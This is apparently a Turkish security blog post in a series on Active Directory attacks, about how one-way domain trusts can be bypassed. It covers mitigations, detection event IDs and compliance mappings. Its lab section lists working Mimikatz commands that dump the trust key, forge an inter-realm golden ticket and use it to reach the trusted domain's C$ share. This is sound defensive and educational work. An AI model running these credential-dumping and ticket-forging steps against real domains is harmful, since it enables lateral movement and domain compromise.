Merhaba
Önceki bölümde Microsoft Entra Connect’in ele geçirilmesini, yani hibrit kimlik mimarisindeki kurum içi/bulut köprüsünün nasıl istismar edildiğini inceledik. Bu bölümde saf kurum içi tarafa dönüyoruz ve domain’ler arasındaki güven (trust) ilişkilerinin özellikle tek yönlü (one-way) trust’ların nasıl aşılabileceğini ele alıyoruz. Bu teknik önemlidir çünkü sık karşılaşılan bir yanlış varsayımı çürütür: domain sınırları bir güvenlik sınırıdır inancını.
Tek Yönlü Domain Trust’ın İstismarı
Active Directory, bir domain’deki kullanıcıların başka bir domain’de kimlik doğrulaması yapıp o domain’in kaynaklarına erişebilmesini sağlamak için domain’ler arası trust ilişkilerini destekler. Trust ilişkileri tek yönlü (one-way) veya iki yönlü (two-way), ayrıca geçişli (transitive) veya geçişsiz (non-transitive) olabilir. Tek yönlü bir trust’ta, B domain’indeki (trusted – güvenilen) kullanıcılar A domain’indeki (trusting – güvenen) kaynaklara erişebilirken, A domain’indeki kullanıcılar B domain’inin kaynaklarına erişemez. Geçişli bir trust, ilişkiyi kuran iki domain’in ötesine de yayılabilirken, geçişsiz bir trust bu tür bir yayılmayı engeller.
İki domain arasında bir trust kurulduğunda, Active Directory’de bir Trusted Domain Object (TDO) oluşturulur. Bu TDO’nun, trust ilişkisindeki her iki domain arasında paylaşılan bir parolası vardır ve bu parola Active Directory içinde saklanır ve geri alınabilir (retrieve edilebilir). A domain’inde (güvenen taraf) bir Domain Controller’a yönetici erişimi elde eden bir saldırgan, TDO’nun parola hash’ini Active Directory’nin System container’ından çıkarabilir.
Bu parola hash’i elde edildiğinde, saldırgan bu hash’i kullanarak B domain’inden (güvenilen taraf) doğrudan bir TGT (Ticket Granting Ticket) talep edebilir. B domain’i bu TGT ile yanıt verir; bu TGT daha sonra A domain’inden B domain’ine kimlik doğrulamak için kullanılabilir yani trust ilişkisinin yönü tamamen atlanmış olur. Trust ilişkileri yönden bağımsız olarak bu şekilde aşılabildiği için, Active Directory domain’leri gerçek bir güvenlik sınırı (security boundary) olarak kabul edilemez.
Bu tekniğin özellikle tehlikeli olan yanı, saldırganın normalde erişemeyeceği bir yönde (B’den A’ya değil, A’dan B’ye) erişim kazanmasıdır trust ilişkisinin tasarımı bunu engellemesi gerekirken, TDO parolasının ele geçirilmesi bu korumayı tamamen devre dışı bırakır. Bu, saldırganın bir domain’i ele geçirdikten sonra, o domain’in trust ilişkisi bulunduğu her domain’e (yönü ne olursa olsun) doğrudan bir sıçrama noktası kazandığı anlamına gelir.
Bu nedenle, bir Active Directory domain’inin ele geçirildiği ya da ele geçirildiğinden şüphelenildiği her olay müdahalesi çalışmasında, o domain’in trust ilişkisi bulunduğu diğer tüm domain’ler de kapsama dahil edilmelidir. Bir domain ele geçirildiyse, önce güvenen domain’de (A) TDO parolası sıfırlanmalı, ardından aynı sıfırlama güvenilen domain’de (B) de yapılmalıdır tek taraflı bir sıfırlama trust ilişkisini bozar ve tehdidi tam olarak ortadan kaldırmaz.
Tek Yönlü Domain Trust Bypass’ını Mitigasyon Etmek
Active Directory domain trust ilişkileri, kurulmadan önce dikkatle değerlendirilmelidir. Domain trust’lar, farklı domain’ler arasında bir güvenlik sınırı oluşturmak amacıyla kurulmamalıdır çünkü saldırganlar bir Domain Controller’a erişim kazanabilirse bu sınır aşılabilir. Bu nedenle, domain trust bypass’ını önlemenin en etkili yolu, Domain Controller’lara yönelik ayrıcalıklı erişimi güvenli hale getirmektir.
Bu tekniği mitigasyon etmek için aşağıdaki güvenlik kontrolleri uygulanmalıdır:
- Domain Controller’lara erişimi yalnızca buna ihtiyaç duyan ayrıcalıklı kullanıcılarla sınırlayın. Bu, saldırganların Domain Controller’lara erişim kazanma fırsatlarını azaltır.
- Domain Controller’lara yönelik ayrıcalıklı erişim yollarını, yalnızca yönetim için gerekli port ve hizmetleri kullanan atlama sunucuları (jump server) ve güvenli yönetici iş istasyonlarıyla sınırlayın. Domain Controller’lar, Microsoft’un Enterprise Access Model çerçevesinde ‘Tier 0’ varlık olarak sınıflandırılır.
- Domain Controller yedeklerini şifreleyip güvenli şekilde saklayın ve erişimi yalnızca Backup Administrator’larla sınırlayın. Yedekler, gerçek Domain Controller’larla aynı düzeyde güvenlik korumasına tabi tutulmalıdır; saldırganlar kritik ve hassas nesnelere (Domain Controller’lar dahil) erişmek için yedekleme sistemlerini hedef alabilir.
- Domain Controller’ları yalnızca AD DS için kullanın, güvenlikle ilgisi olmayan başka hizmet veya uygulama kurmayın. Bu, Domain Controller’ların saldırı yüzeyini azaltır.
- Domain Controller günlüklerini merkezi olarak toplayıp zamanında analiz edin. Bu günlükler, Domain Controller’larda ve domain genelinde kötü niyetli aktiviteyi araştırmak için zengin bir bilgi kaynağıdır.
- Domain Controller’larda Print Spooler hizmetini devre dışı bırakın. Saldırganlar, Domain Controller’ın bilgisayar hesabı parola hash’ini veya TGT’sini toplamak amacıyla kendi kontrollerindeki bir sisteme kimlik doğrulamasını zorlamak (coercion) için bu servisi hedef almıştır; elde edilen bilgiler, saldırganın koersiyon uyguladığı Domain Controller’a yönetici erişimi kazanmak için kullanılabilir.
Tek Yönlü Domain Trust Bypass’ını Tespit Etmek
Bu tekniğin tespiti, kimlik doğrulamayla ilgili olayların izlenmesini ve User ID değerinin TDO ile eşleşip eşleşmediğinin analiz edilmesini gerektirir. TDO yalnızca oluşturulduğu diğer güvenen/güvenilen domain ile iletişim kurmak için kullanılmalıdır; TDO ile ilişkili her türlü olağandışı LDAP sorgusu veya kimlik doğrulama olayı, kötü niyetli olup olmadığını belirlemek için analiz edilmelidir.
Tek Yönlü Domain Trust Bypass’ını Tespit Eden Olaylar
| Olay ID | Kaynak | Açıklama |
|---|---|---|
| 1102 | Domain Controller’lar | ‘Security’ denetim günlüğü temizlendiğinde üretilir. Saldırganlar tespitten kaçınmak için bu günlüğü temizleyebilir; bu olayın analizi, bir Domain Controller’ın ele geçirilip geçirilmediğini belirlemeye yardımcı olabilir. |
| 4103 | Domain Controller’lar | PowerShell çalıştığında ve pipeline çalıştırma detaylarını kaydettiğinde üretilir. TDO parola hash’ini almak için kullanılan Mimikatz gibi yaygın araçlar PowerShell kullanır; Domain Controller’lardaki olağandışı PowerShell çalıştırmalarının analizi, TDO’nun ele geçirilmiş olabileceğine işaret edebilir. |
| 4104 | Domain Controller’lar | PowerShell, script ve komutları yakalamak için kod çalıştırdığında üretilir. Aynı şekilde Mimikatz gibi araçların kullanımını ele verebilir. |
| 4768 | Güvenilen domain’deki Domain Controller’lar | Bir TGT talep edildiğinde üretilir. TDO parola hash’i elde edildikten sonra, tipik olarak güvenilen domain’de bir TGT talep etmek için kullanılır. User ID değeri TDO kullanıcı adıyla eşleşiyorsa, bu TDO’nun ele geçirilmiş ve tek yönlü domain trust bypass’ının gerçekleşmiş olabileceğine işaret eder. |
Lab Uygulaması
Bu tekniği doğrulamak için, aralarında tek yönlü trust kurulmuş iki ayrı orman inşa ettik: bakicubuk.local (etki alanı denetleyicisi W25DC, güvenen/trusting taraf – Domain A) ve nihatcubuk.local (etki alanı denetleyicisi W25PDC, güvenilen/trusted taraf – Domain B). Trust yönünü raporun Figure 8’indeki senaryoyla birebir eşleştirdik: yalnızca nihatcubuk.local kullanıcıları bakicubuk.local kaynaklarına erişebilecek, tersi mümkün olmayacak. Amacımız, bakicubuk.local‘ı (Domain A) ele geçiren bir saldırganın, normalde erişemeyeceği nihatcubuk.local‘a (Domain B) gerçekten sıçrayıp sıçrayamayacağını göstermekti.
1. Adım: İki ormanı kurup tek yönlü trust oluşturma
W25PDC sunucusuna AD DS rolünü kurup yeni bir orman kök etki alanı olarak promote ettik:
Install-ADDSForest -DomainName "nihatcubuk.local" -DomainNetbiosName "NIHATCUBUK" -InstallDns -ForceW25DC üzerinde
Add-DnsServerConditionalForwarderZone -Name "nihatcubuk.local" -MasterServers 192.168.1.210W25PDC üzerinde
Add-DnsServerConditionalForwarderZone -Name "bakicubuk.local" -MasterServers 192.168.1.200Ardından bakicubuk.local‘ın nihatcubuk.local‘a tek yönlü olarak güvenmesini (yani yalnızca nihatcubuk.local kullanıcılarının bakicubuk.local‘a erişebilmesini) sağlayan trust’ı kurduk:
netdom trust bakicubuk.local /domain:nihatcubuk.local /add /UserD:NIHATCUBUK\Administrator /PasswordD:* /UserO:BAKICUBUK\Administrator /PasswordO:*Komut tamamlandığında dikkat çekici bir uyarı aldık: To improve the security of this external trust, security identifier (SID) filtering is enabled. Gerçekten de Get-ADTrust çıktısında SIDFilteringQuarantined: True görüyoruz Windows, external trust’larda SID history filtrelemesini varsayılan olarak açıyor. Bu, bir sonraki bölümde (SID History) işimize yarayacak gerçek bir sertleştirme bulgusu.
Get-ADTrust -Filter * ve nltest /trusted_domains ile her iki taraftan da trust’ı doğruladık: bakicubuk.local tarafında Direction: Outbound, nihatcubuk.local tarafında Direction: Inbound görünüyor – yani beklediğimiz gibi, yalnızca nihatcubuk.local kullanıcıları bakicubuk.local‘a girebiliyor.
2. Adım: TDO’nun trust anahtarını çıkarma
W25DC‘de (yönetici olarak) Mimikatz ile Trusted Domain Object’in şifreli anahtarını çıkardık:
mimikatz # privilege::debug
mimikatz # lsadump::trust /patchÇıktı, nihatcubuk.local ile paylaşılan trust anahtarını hem RC4 hem AES256/AES128 formatlarında döndürdü:
* rc4_hmac_nt ee2cb9cb52bfff03c183b3aac017a96bRaporda tarif edilen tam olarak bu: TDO’nun parolası Active Directory içinde saklanıyor ve Domain Controller’a yönetici erişimi olan biri tarafından geri alınabiliyor.
3. Adım: Trust anahtarıyla yön bypass’ı
Çıkarılan anahtarla, sahte bir inter-realm (forestlar arası) TGT oluşturup nihatcubuk.local‘a karşı kullandık:
kerberos::golden /user:Administrator /domain:bakicubuk.local /sid:S-1-5-21-3478788356-4009446651-4006572080 /rc4:ee2cb9cb52bfff03c183b3aac017a96b /service:krbtgt /target:nihatcubuk.local /ticket:trust_tkt.kirbi
kerberos::ptt trust_tkt.kirbi
Bilet belleğe enjekte edildikten sonra, doğrudan nihatcubuk.local‘daki W25PDC sunucusunun C$ paylaşımına eriştik:
dir \\w25pdc.nihatcubuk.local\c$Komut, hiçbir hata vermeden dizin listesini döndürdü bakicubuk.local‘dan nihatcubuk.local‘a, trust’ın izin vermediği yönde, tamamen sahte bir bilet ile girmiş olduk.
Özet: Bu lab, raporun temel iddiasını uçtan uca doğruladı Active Directory domain trust’ları bir güvenlik sınırı değildir. BURASIbakicubuk.local’ı (Domain A) ele geçiren bir saldırgan, trust ilişkisinin yönü tersini söylese bile nihatcubuk.local‘a (Domain B) sıçrayabiliyor. Tek gerçek savunma, Domain Controller’lara yönelik ayrıcalıklı erişimi sıkı şekilde kontrol etmek; trust yönü veya SID filtering gibi ayarlar, Domain Controller ele geçirildikten sonra saldırganı durduramıyor.
Uyumluluk ve Çerçeve Eşlemesi Tablosu
| Çerçeve | İlgili Kontrol/Madde |
|---|---|
| PCI DSS | Gereksinim 7.1 (Erişim kısıtlaması), Gereksinim 8.2 (Güçlü kimlik doğrulama) |
| HIPAA | 164.312(a)(1) – Erişim Kontrolü, 164.312(d) – Kimlik Doğrulama |
| ISO 27001 | A.9.2 (Kullanıcı Erişim Yönetimi), A.9.4 (Sistem ve Uygulama Erişim Kontrolü) |
| KVKK | Madde 12 – Veri Güvenliğine İlişkin Yükümlülükler |
| TCMB | Bilgi Sistemleri Yönetimi Tebliğ – Erişim ve Yetkilendirme Kontrolleri |
| NIST CSF | PR.AC-1 (Kimlik ve kimlik bilgisi yönetimi), PR.AC-4 (Erişim izinleri ve yetkilendirmeleri yönetilir) |
| CIS Controls | CIS 5 (Hesap Yönetimi), CIS 6 (Erişim Kontrol Yönetimi) |
MITRE ATT&CK: T1482 (Domain Trust Discovery), T1484.002 (Domain Trust Modification), T1558 (Steal or Forge Kerberos Tickets)
Sonuç
Tek yönlü domain trust bypass, Active Directory’nin belki de en yanlış anlaşılan varsayımlarından birini gözler önüne seriyor: trust ilişkileri bir erişim kolaylığı sağlamak için tasarlanmıştır, bir güvenlik sınırı olarak tasarlanmamıştır. Bir domain’in ele geçirilmesi, trust yönü ne olursa olsun, trust ilişkisi bulunan tüm domain’leri potansiyel olarak risk altına sokar.
Serinin bir sonraki bölümünde, benzer bir güven suistimalini SID History’nin ele geçirilmesini inceleyeceğiz.